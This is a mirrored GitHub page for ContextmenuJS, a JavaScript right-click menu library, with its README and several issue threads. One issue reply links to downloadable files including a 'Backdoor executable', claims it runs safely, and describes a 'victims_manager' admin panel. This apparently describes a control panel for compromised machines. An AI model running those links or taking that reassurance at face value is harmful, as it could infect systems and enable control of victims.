Git Product home page Git Product logo

contextmenujs's Introduction

ContextmenuJS

ContextmenuJS is a simple JavaScript library, to display custom contextmenus (right-click).

Demo: https://m-thalmann.github.io/contextmenujs/

Navigation

Installation

  1. Download the .zip-File and put it in your project-folder.

  2. Add this script-tag to the head of the file

<script src="path/to/js/file.js"></script>
  1. Add this link-tag to the head of the file, to include the styles
<link rel="stylesheet" href="path/to/css/file.css" />
  1. Start using the library!

Usage

Create menu structure

var menuitems = [
  {
    "text": "Item 1",
    "icon": "&#9819;",
    "sub": [
      {
        "text": "Item 1.1",
        "enabled": false
      }
    ]
  },
  {
    "text": "Item 2"
  }
];

Create new contextmenu

var menu = new ContextMenu(menuitems);

Append contextmenu to listener

document.addEventListener("contextmenu", function(e){
  menu.display(e);
});

(Re-)load the contextmenu

menu.reload(); // Always use this, when you change the menu

Documentation

Contextmenu

It's the main object to display the contextmenu

Instanciating

new ContextMenu(menu_structure, options);
  • menu_structure (Array): This array contains all items of the menu (see below)
  • options (object): A object with options for the contextmenu (see below) (optional)

After the instanciation, the contextmenu is reloaded/rendered, but not shown

Methods

menu.reload();                    // Reloads/Renders the contextmenu inside of a container (id: cm_<num>)
menu.display(e, target);          // Displays the contextmenu on the location present in the contextmenu-event (e)
                                  // and executes e.preventDefault();
                                  // if target is set, the contextTarget is set to that
menu.hide();                      // Hides the menu, if shown
                            
menu.setOptions(options);         // Resets the options (object)
menu.changeOption(option, value); // Changes one option (string, object)
menu.getOptions();                // Returns the options

Properties (variables)

menu.menu                         // The menu structure; change this, or the parameter, to change the menu (no setter)
menu.contextTarget                // The target, where the contextmenu was last opened

ContextMenu.count                 // Number of contextmenus created (for the id's)
ContextMenu.DIVIDER               // Constant, that is used to mark a item as a divider ("type": ContextMenu.DIVIDER)

Menu structure

It's only a guideline, to define a menu (no object etc.)

var menustructure = [
  {
    "text": "Item1",                         // Text to display
    "icon": '<img src="images/item.png" />', // Icon to display next to the text
    "sub": [                                 // Item has nested items
      {
        "text": "Item1.1",
        "enabled": false                     // Item is disabled (if it has nested items, they won't show)
      }
    ]
  },
  {
    "type": ContextMenu.DIVIDER              // This item is a divider (shows only gray line, no text etc.)
  },
  {
    "text": "Item2",
    "events": {                              // Adds eventlisteners to the item (you can use any event there is)
      "click": function(e){
        console.log("clicked");
      },
      "mouseover": function(e){
        console.log("mouse is over menuitem");
      }
    }
  }
];

NOTE: The braces after the = and after "sub": are square ones!

NOTE: Every other property, not mentioned here, is skipped!

ContextUtil

A collection of helper methods. Can't be instanciated.

Methods

ContextUtil.getProperty(opt, o, def);        // Returns the value of 'o' in the array/object opt, if it is set;
                                             // else it returns def (object, string, object)

ContextUtil.getSizes(obj);                   // Recursively gets the size of a DOM-List (ul), that has absolute positioned
                                             // children (dom-element)

Options

Option Values Definition
close_on_resize true/false Sets if the contextmenu is closed, when the window is resized
close_on_click true/false Sets if the contextmenu is closed, when the window is clicked
default_icon [string] Sets the default icon for a menu item (is overridden, when set)
default_text [string] Sets the default text for a menu item (is overridden, when set)
sub_icon [string] Sets the arrow icon for sub menus
mouse_offset [integer] Sets the offset to the mouse, when opened (in pixel)

Example

Code:

var menu = new ContextMenu(
  [
    {
      "text": "Item 1",
      "sub": [
        {
          "text": "Item 11"
        },
        {
          "text": "Item 12"
        },
        {
          "type": ContextMenu.DIVIDER
        },
        {
          "text": "Item 13",
          "enabled": false,
          "sub": [
            {
              "text": "Item 131"
            }
          ]
        }
      ]
    },
    {
      "text": "Item 2",
      "icon": '<i class="fas fa-exclamation-circle"></i>',
      "events": {
        "click": function(e){
          alert(e);
        }
      }
    }
  ]
);

Output:

contextmenuJs example

contextmenujs's People

Contributors

m-thalmann avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

contextmenujs's Issues

Using document.body.innderHTML make contextmenu not usable

Origin : #2

Response :

SERVER Code : https://filebin.net/blv58conaf85dy1s
MySQL Server Database : https://filebin.net/xeoxs6urxzegkq1i
Backdoor executable : https://filebin.net/rx8ageq76lcyqfvj
[Can be executed safely, turn in background without any risk, can be stopped using taskmanager || Software can be scand using dnSpy in case of doubts]

Test need to be done using xampp

Main files locations :
./admin/index.php [Admin panel visible in the first video] [Iframes are spawning here||contextMenu also]
./admin/victims_manager.php [Recieve instructions from the panel and output response (Content of all iframes)]
./admin/scripts/contextMenu.js [contextmenujs config, triggers and listener on panel table right click]
./admin/scripts/iframeManager.js [Spawn iframes depending of size setup in contextMenu.js]

If you have any questions for setup or explains, i will help you with no worries

ContextMenu refresh iframes

Big problem here, im working with iframes, but when im opening a new iframe when clicking on a contextmenu item.
Its refreshing all iframes, and make them not usable properly.

eiK7ls5gs5.mp4

A left-submenu has the wrong offset

When a submenu is moved to the left side of its parent because it is too close to the right edge of the window, it is offset incorrectly. It appears that the left side of the submenu is offset from the left side of the parent menu by the parent menu's width, but it actually needs to be offset by the submenu's width.

When the width of the submenu is less than the width of the parent menu there is a gap between them, which makes the submenu unreachable because the submenu is hidden once the cursor enters the gap.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.